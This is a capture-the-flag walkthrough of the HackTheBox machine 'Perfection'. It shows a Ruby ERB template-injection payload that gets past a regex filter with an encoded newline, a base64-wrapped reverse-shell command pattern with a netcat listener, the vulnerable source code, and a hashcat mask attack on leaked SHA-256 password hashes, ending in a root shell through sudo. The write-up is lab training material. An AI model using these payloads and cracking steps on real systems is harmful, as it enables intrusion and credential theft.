Summary
Perfection is an easy Linux HTB box.
This machine hosts a Ruby HTTP server running a weighted grade calculator with improper input sanitization, which leads to a Server-Side Template Injection (SSTI) vulnerability.
We bypass the filters in place to inject a reverse shell payload into the template, which is then executed by the server, giving us a shell as user Susan.
In Susanās home directory, we find a database file containing a password hash for her account for a service. By examining an email in /var/mail
, we uncover the pattern for the password used on this service.
We crack the hash using a targeted brute-force attack and discover that she reuses this password on her local user account on the box. After checking her sudo rights, we find that she can run any command as any user.
With this privilege, we switch to the root user, gaining full access to the system and completing the box.
Writeup
Information Gathering
We start by performing an all-port TCP version scan on the host, which reveals a web service and an SSH service.
āāā(userćækali)-[~]
āā$ sudo nmap -sV -T4 -v <target-ip> -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 15:16 WEST
<SNIP>
Host is up (0.043s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Accessing port 80 in our browser, we encounter a website for a weighted grade calculator created by an organization named Secure Student Tools.

The site's landing page.
Using WhatWeb, we discover that the server uses both nginx and WEBrick 1.7.0, with WEBrick being responsible for serving content via Ruby.
āāā(userćækali)-[~]
āā$ whatweb -v http://10.10.11.253/
WhatWeb report for http://10.10.11.253/
Status : 200 OK
Title : Weighted Grade Calculator
IP : 10.10.11.253
Country : RESERVED, ZZ
Summary : HTTPServer[nginx, WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)], PoweredBy[WEBrick], Ruby[3.0.2], Script, UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block
On the about page, we learn about two members of the Secure Student Tools team:
- Tina Smith, the web developer. The description suggests that she lacks proficiency in secure coding, indicating potential security vulnerabilities in the site’s features.
- Susan Miller, a sponsoring professor for the organization. As a system administrator at Acme University, she likely holds high-privilege accounts, which could be important to note.

The site's about page.
We find no subdirectories or virtual hosts, leaving us with only the calculator page to work with.

The site's calculator page.
Vulnerability Assessment
Since we can input information to be processed server-side, we test for Ruby template injection vulnerabilities, given that the backend uses Ruby and the output is reflected in the HTML.
Server-Side Template Injection (SSTI) is a vulnerability that occurs when user input is embedded in server-side templates in a way that allows attackers to execute arbitrary code on the server. Templates are files used by web applications to dynamically generate HTML content based on data and logic. They typically contain placeholders for variables and control structures like loops and conditionals. When the server processes a template, it replaces the placeholders with actual data. If user input is not properly sanitized, attackers can inject malicious code into these placeholders, leading to code execution on the server.
Using various payloads from HackTricks, we attempt to exploit potential weaknesses. However, we quickly discover that the server has a filter in place to block injection attempts.

Comamd injection filter.
There are many ways a command injection filter might be implemented in the backend, and we can’t know for sure without looking at the source code. However, we can reasonably guess that the filter might check for certain blacklisted characters in the input using Regex or string functions and block the input if one is found. Alternatively, it could be that the filter employs a character whitelist, allowing only specific characters to pass through.
There are many resources for filter bypasses, including the HTB Academy module Command Injections and this Regex cheatsheet. There are multiple techniques we can try, including testing if the filter allows for certain special characters that are often useful for injection attacks. For instance, here we can see that the curly bracket character seems to be filtered:

Curly bracket is filtered.
To better identify which characters are filtered, we use a web proxy like Burp Suite to capture the request and then repeatedly send requests with various characters. Through this process, we discover that the newline character (when URL encoded) is not filtered as long as it follows a valid category name. This is useful to know because the newline character is a key element in many injection attacks, allowing us to introduce new lines of code or commands into the serverās processing logic.

New line is not filtered.
We could try injecting {{7*7}}
into the category parameter, URL encoded as category1=name%0a%7b%7b%37%2a%37%7d%7d
. Although this payload doesnāt trigger the filter, it is rendered in the browser exactly as it was entered, rather than being evaluated and rendered as 49.
If the template engine in use was Jinja2, Liquid, Mustache, or Handlebars, and if it were vulnerable to template injection, the payload {{7*7}}
would have been evaluated by the server and become 49
on the HTML. However, since the payload only renders the text {{7*7}}
and does not execute the code, there are two main possibilities: either this website is not vulnerable to template injection attacks, or it is vulnerable but uses a different template engine that does not recognize or execute the {{7*7}}
syntax.
Another template engine a Ruby web application can use is ERB (Embedded Ruby). Unlike the other templates I mentioned, ERB uses the <%= <code> %>
notation to embed Ruby code into the HTML. We check if the application is using ERB and is vulnerable to template injection by trying <%=system("whoami")%>
URL encoded as category1=name%0a<%25%3dsystem("whoami")%25>
.
This time, we bypass the filter and the category name is rendered in the HTML as true
, meaning that the Ruby code is being evaluated by the backend and executed.

Template injection.
If you’re wondering why the code returned true instead of the name of the user running the web server process, itās because the system
method executes the whoami
command on the server but does not output the result of the command to the HTML; instead, it just returns true if the command was successful.
Now that we have a way of getting the web server to execute OS commands for us, we can escalate to a reverse shell by crafting a payload to be executed via the system
method. However, since the filter likely blocks certain characters commonly used in reverse shell payloads, we need to find a method to bypass these restrictions.
There are many techniques to bypass such filters, but one effective and simpler technique for bypassing special character filters is to base64 encode the payload and then decode it before execution. This method avoids the need to work around specific characters by encoding the payload into a format that is less likely to be filtered.
Now all thatās left is to try different reverse shell payloads, such as those you can generate here, until you find one that works. Usually, bash -i
or Python3 shortest
are reliable options, but this time I had to try many different payloads before finding that nc mkfifo
works. By placing the base64 encoded version of the payload inside the snippet <%= system("echo <base64-payload> | base64 -d | sh") %>
, URL encoding all characters in Burp Suite, and sending the request, we were able to catch a reverse shell on the NetCat listener we had prepared.
Note: This approach only worked because the |
character is not blacklisted by the filter. If the |
character were blocked, we would have to use a different technique to bypass this restriction. One possible method is to find an environment variable that contains the |
character and use substring operations to insert it into our payload. Another approach might involve ASCII character shifting or encoding techniques to represent the |
character in a way that evades the filter.
āāā(userćækali)-[~]
āā$ sudo logshell rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [<my-ip>] from (UNKNOWN) [<machine-ip>] 36796
bash: cannot set terminal process group (1008): Inappropriate ioctl for device
bash: no job control in this shell
susan@perfection:~/ruby_app$ whoami
susan
susan@perfection:~/ruby_app$ hostname
perfection
We find the user flag on Susan’s home directory.
Vulnerability Explanation
Before we move on, letās review the ~/ruby_app/main.rb
file. This file holds the source code for the web application, which will give us insights into its filtering implementation.
require 'sinatra'
require 'erb'
set :show_exceptions, false
configure do
set :bind, '127.0.0.1'
set :port, '3000'
end
get '/' do
index_page = ERB.new(File.read 'views/index.erb')
response_html = index_page.result(binding)
return response_html
end
get '/about' do
about_page = ERB.new(File.read 'views/about.erb')
about_html = about_page.result(binding)
return about_html
end
get '/weighted-grade' do
calculator_page = ERB.new(File.read 'views/weighted_grade.erb')
calcpage_html = calculator_page.result(binding)
return calcpage_html
end
post '/weighted-grade-calc' do
total_weight = params[:weight1].to_i + params[:weight2].to_i + params[:weight3].to_i + params[:weight4].to_i + params[:weight5].to_i
if total_weight != 100
@result = "Please reenter! Weights do not add up to 100."
erb :'weighted_grade_results'
elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category2] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category3] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category4] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category5] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:grade1] =~ /^(?:100|\d{1,2})$/ && params[:grade2] =~ /^(?:100|\d{1,2})$/ && params[:grade3] =~ /^(?:100|\d{1,2})$/ && params[:grade4] =~ /^(?:100|\d{1,2})$/ && params[:grade5] =~ /^(?:100|\d{1,2})$/ && params[:weight1] =~ /^(?:100|\d{1,2})$/ && params[:weight2] =~ /^(?:100|\d{1,2})$/ && params[:weight3] =~ /^(?:100|\d{1,2})$/ && params[:weight4] =~ /^(?:100|\d{1,2})$/ && params[:weight5] =~ /^(?:100|\d{1,2})$/
@result = ERB.new("Your total grade is <%= ((params[:grade1].to_i * params[:weight1].to_i) + (params[:grade2].to_i * params[:weight2].to_i) + (params[:grade3].to_i * params[:weight3].to_i) + (params[:grade4].to_i * params[:weight4].to_i) + (params[:grade5].to_i * params[:weight5].to_i)) / 100 %>\%<p>" + params[:category1] + ": <%= (params[:grade1].to_i * params[:weight1].to_i) / 100 %>\%</p><p>" + params[:category2] + ": <%= (params[:grade2].to_i * params[:weight2].to_i) / 100 %>\%</p><p>" + params[:category3] + ": <%= (params[:grade3].to_i * params[:weight3].to_i) / 100 %>\%</p><p>" + params[:category4] + ": <%= (params[:grade4].to_i * params[:weight4].to_i) / 100 %>\%</p><p>" + params[:category5] + ": <%= (params[:grade5].to_i * params[:weight5].to_i) / 100 %>\%</p>").result(binding)
erb :'weighted_grade_results'
else
@result = "Malicious input blocked"
erb :'weighted_grade_results'
end
end
We can clearly see that the regex ^[a-zA-Z0-9\/ ]+$
filter in place ensures that the string only includes letters, numbers, spaces, or forward slashes from start to finish.
At least, thatās what I thought initially… but upon checking the actual behavior of this Ruby command, we find that the new line character (when URL decoded as \n
) actually matches this regular expression despite it seemingly not being allowed. In fact, we can add any character we want after the new line character and the regex will still match, even if it includes prohibited characters.
# You would think this would output "No"...
params = { category1: "foo\nbar#" }
# ...but it actually outputs "Yes"!
if params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/
puts "Yes"
puts params[:category1]
else
puts "No"
end
Iām not familiar with Ruby, so Iām not sure why this odd behavior occurs. My guess is that the regex matcher doesnāt work with multi-line strings, and only the first line is evaluated. Upon further research, I discovered that there is a multi-line flag (m
) which allows the .
(dot) to match newline characters as well. Even with this flag, the codeās behavior still doesnāt align with what I expected.
If I figure out why the code behaves this way, Iāll update this post to provide more clarity.
Aside from this, we can see that the input values from params[:categoryX]
are inserted directly into the ERB template string. This direct insertion allowed us to inject Ruby code that is evaluated by the web server.
Privilege Escalation
By the name of our user, we can assume that we are in control of Susan Miller, the system administrator we saw on the about page of the website. As a system administrator, she probably has superuser privileges, so we should check for interesting sudo rights. Unfortunately, despite having shell access as this user, we donāt know her password. By elevating our shell to a full TTY and checking the sudo rights, we find that we are prompted for Susanās password.
susan@perfection:~/ruby_app$ python3 -c 'import pty; pty.spawn("/bin/bash")'
susan@perfection:~/ruby_app$ sudo -l
[sudo] password for susan:
We take note of the need for Susanās password and proceed with further host enumeration.
Also, in her home directory, we find a pupilpath_credentials.db
file inside the Migration
directory. This is a very interesting-sounding filename.
PupilPath is an online tool for managing grades and tracking student progress. It suffered a data breach from December 28, 2021, to January 8, 2022, compromising the personal information of about 820,000 students.
Using strings
on the file, we get what appears to be some usernames and password hashes. We recognize the familiar names of Susan and Tina. Checking /etc/passwd
, we see that we are the only user with a home directory, and none of the other names appear to be local users.
susan@perfection:~/Migration$ strstrings pupilpath_credentials.db
SQLite format 3
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S
David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP
Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O
Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q
Susan Millerabe<SNIP>23f
The hash is for Susan’s password for the PupilPath service, but there’s a decent chance she reuses this password for her local user on this host. If we crack the hash using an offline brute-force attack, we may be able to see and use her sudo rights. Unfortunately, some analysis of this hash indicates that it is SHA-256, a fairly strong hashing algorithm. Cracking this could take a long time and would require a targeted wordlist for a dictionary attack, which we currently have no means of creating.
āāā(userćækali)-[/tmp]
āā$ hashid susan.hash -m
--File 'susan.hash'--
Analyzing 'abe<SNIP>23f'
[+] Snefru-256
[+] SHA-256 [Hashcat Mode: 1400]
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94 [Hashcat Mode: 6900]
[+] GOST CryptoPro S-Box
[+] SHA3-256 [Hashcat Mode: 5000]
[+] Skein-256
[+] Skein-512(256)
--End of file 'hash'--
We move on for now and continue our enumeration. While checking common directories for useful information, we discover that /var/mail
contains an email for susan
.
susan@perfection:~/ruby_app$ ls -la /var/mail/susan
-rw-r----- 1 root susan 625 May 14 2023 /var/mail/susan
Here is the email from Tina Smith, the student and developer of the web application:
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students in our class) to the new platform.
I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can.
I am currently registering our university with the platform.
- Tina, your delightful student
We now have a password format. The email suggests that this password will be used on the Jupiter Grades service, not PupilPath, but there’s still a chance the hashes we found earlier follow this pattern too.
The pattern is: the user’s first name, their first name backwards, and a randomly generated integer between one and a billion, all separated by underscores. We already know the first name from the database file and the username itself. All that’s left is the random integer.
Knowing this pattern narrows down the possibilities from infinite to a billion different combinations. This highlights the importance of Kerckhoffs’s principle. For a system to be considered secure, it must still be secure even if everything about it but the most crucial detail is already known by the attacker. Now that we know the password pattern, the system’s security is compromised, even though we donāt have the exact password yet. A strong password remains secure even if the method of its creation is known (e.g., using Bitwarden’s default password generator), as the search space for possible passwords is so large that an attack becomes impractical.
Anyway, we can start a brute-force attack using Hashcat, specifying that we want to do a mask attack (-a 3
) on the SHA-256 hash (-m 1400
). The mask is Susan’s first name, Susan’s first name backwards, and nine digits, all separated by underscores. This will cycle through all one billion different numbers it could be.
We get a hit after less than a minute.
āāā(userćækali)-[/tmp]
āā$ hashcat -a 3 -m 1400 susan.hash susan_nasus_?d?d?d?d?d?d?d?d?d
hashcat (v6.2.6) starting
<SNIP>
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: <REDACTED>
Time.Started.....: Tue Jul 2 22:08:09 2024 (49 secs)
Time.Estimated...: Tue Jul 2 22:08:58 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 6772.4 kH/s (0.29ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 324562944/1000000000 (32.46%)
Rejected.........: 0/324562944 (0.00%)
Restore.Point....: 324556800/1000000000 (32.46%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: <REDACTED>
Now we can check Susanās sudo rights. After supplying the password, we see that Susan can run any command as any user.
susan@perfection:~/Migration$ sudsudo -l
[sudo] password for susan: <redacted>
Matching Defaults entries for susan on perfection:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User susan may run the following commands on perfection:
(ALL : ALL) ALL
This means we can switch to the root user and gain full access to the system, thus completing the box.
susan@perfection:~/Migration$ sudo su
root@perfection:/home/susan/Migration# ls /root
ls /root
root.txt